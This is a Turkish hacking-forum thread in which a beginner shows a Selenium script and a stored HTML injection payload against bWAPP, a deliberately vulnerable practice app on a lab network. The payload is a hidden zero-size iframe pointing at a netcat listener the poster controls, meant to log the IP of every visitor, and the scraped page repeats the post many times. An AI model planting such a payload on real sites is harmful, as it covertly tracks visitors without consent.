ilk exploitim

yuathay · 18 Eyl 2023

oncelikle

nc -nvlp 8080

komutunu yazdım ve 8080 portunu dinlemeye aldım

from selenium import webdriver
from selenium.webdriver.common.by import By

browser=webdriver.Firefox()
browser.get("http://10.0.2.4/bWAPP")
browser.find_element(By.XPATH,"//*[@id='login']").send_keys('bee')
browser.find_element(By.XPATH,"//*[@id='password']").send_keys('bug')
browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/select").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/select/option[6]").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/button").click()
metin = browser.find_element(By.XPATH,"//*[@id='entry']")
metin.send_keys("<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>")
düğme = browser.find_element(By.XPATH,"/html/body/div[2]/form/table/tbody/tr[2]/td[1]/button")
düğme.click()

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

Arenklord · 18 Eyl 2023

Eline sağlık

kerem000 · 19 Eyl 2023

baslangıc seviyesi ise güzel olmus fakat böyle ip vermek vs eklenti islerine döndü ama tabi basarılı yinede daha farklı projeler yapman gerek artık dunyamız yapay zekaya dönüyor, biliyorsun onlar dahi exploit yazabiliyor hackerlık uzerınden degilde web ve devops uzerıne exp projeleri olusturursan kafanda daha da guzel seyler cıkarabilirsin emegine saglık

Batıcıl Yabgu · 4 Eki 2023

yuathay' Alıntı:
oncelikle
nc -nvlp 8080
komutunu yazdım ve 8080 portunu dinlemeye aldım

from selenium import webdriver
from selenium.webdriver.common.by import By

browser=webdriver.Firefox()
browser.get("http://10.0.2.4/bWAPP")
browser.find_element(By.XPATH,"//*[@id='login']").send_keys('bee')
browser.find_element(By.XPATH,"//*[@id='password']").send_keys('bug')
browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/select").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/select/option[6]").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/button").click()
metin = browser.find_element(By.XPATH,"//*[@id='entry']")
metin.send_keys("<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>")
düğme = browser.find_element(By.XPATH,"/html/body/div[2]/form/table/tbody/tr[2]/td[1]/button")
düğme.click()

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :
<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>
kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

eline sağlık

Bekbilisim · 4 Eki 2023

yuathay' Alıntı:
oncelikle
nc -nvlp 8080
komutunu yazdım ve 8080 portunu dinlemeye aldım

from selenium import webdriver
from selenium.webdriver.common.by import By

browser=webdriver.Firefox()
browser.get("http://10.0.2.4/bWAPP")
browser.find_element(By.XPATH,"//*[@id='login']").send_keys('bee')
browser.find_element(By.XPATH,"//*[@id='password']").send_keys('bug')
browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/select").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/select/option[6]").click()
browser.find_element(By.XPATH,"/html/body/div[8]/form/button").click()
metin = browser.find_element(By.XPATH,"//*[@id='entry']")
metin.send_keys("<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>")
düğme = browser.find_element(By.XPATH,"/html/body/div[2]/form/table/tbody/tr[2]/td[1]/button")
düğme.click()

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :
<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>
kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

Eline sağlık

I AM EAC0D3Rx · 4 Eki 2023

Eline sağlık

powwerbangTR · 6 Eki 2023

Eline sağlık honeypod araştırması yaparsan daha ileri seviyeye geçeceğine inanıyorum başarılar.

yuathay · 6 Eki 2023

powwerbangTR' Alıntı:
Eline sağlık honeypod araştırması yaparsan daha ileri seviyeye geçeceğine inanıyorum başarılar.

eyvAllah hocam araştırıcam

ilk exploitim

yuathay

Katılımcı Üye

oncelikle

nc -nvlp 8080

komutunu yazdım ve 8080 portunu dinlemeye aldım

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

Arenklord

Uzman üye

kerem000

Yeni üye

Batıcıl Yabgu

Üye

oncelikle

nc -nvlp 8080

komutunu yazdım ve 8080 portunu dinlemeye aldım

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

Bekbilisim

Yeni üye

oncelikle

nc -nvlp 8080

komutunu yazdım ve 8080 portunu dinlemeye aldım

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

I AM EAC0D3Rx

Black Hat Lider Yardımcısı

powwerbangTR

Katılımcı Üye

yuathay

Katılımcı Üye

Sosyal medya sayfalarımız

ilk exploitim

Katılımcı Üye

oncelikle​

nc -nvlp 8080​

komutunu yazdım ve 8080 portunu dinlemeye aldım​

​

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :​

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>​

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek ​

Uzman üye

Yeni üye

Üye

oncelikle​

nc -nvlp 8080​

komutunu yazdım ve 8080 portunu dinlemeye aldım​

​

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :​

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>​

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek ​

Yeni üye

oncelikle​

nc -nvlp 8080​

komutunu yazdım ve 8080 portunu dinlemeye aldım​

​

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :​

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>​

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek ​

Black Hat Lider Yardımcısı

Katılımcı Üye

Katılımcı Üye

oncelikle

nc -nvlp 8080

komutunu yazdım ve 8080 portunu dinlemeye aldım

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

oncelikle

nc -nvlp 8080

komutunu yazdım ve 8080 portunu dinlemeye aldım

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek

oncelikle

nc -nvlp 8080

komutunu yazdım ve 8080 portunu dinlemeye aldım

yukarıdaki kod ile bwapp'e giris yaptım ardından "html injection stored blog" bolumune giriş yapıp oradaki kutucuğa :

<iframe src=http://10.0.2.9:8080 height='0' width='0'</iframe>

kodunu yazdım bu kod siteye giren herkesin ip adresini bana verecek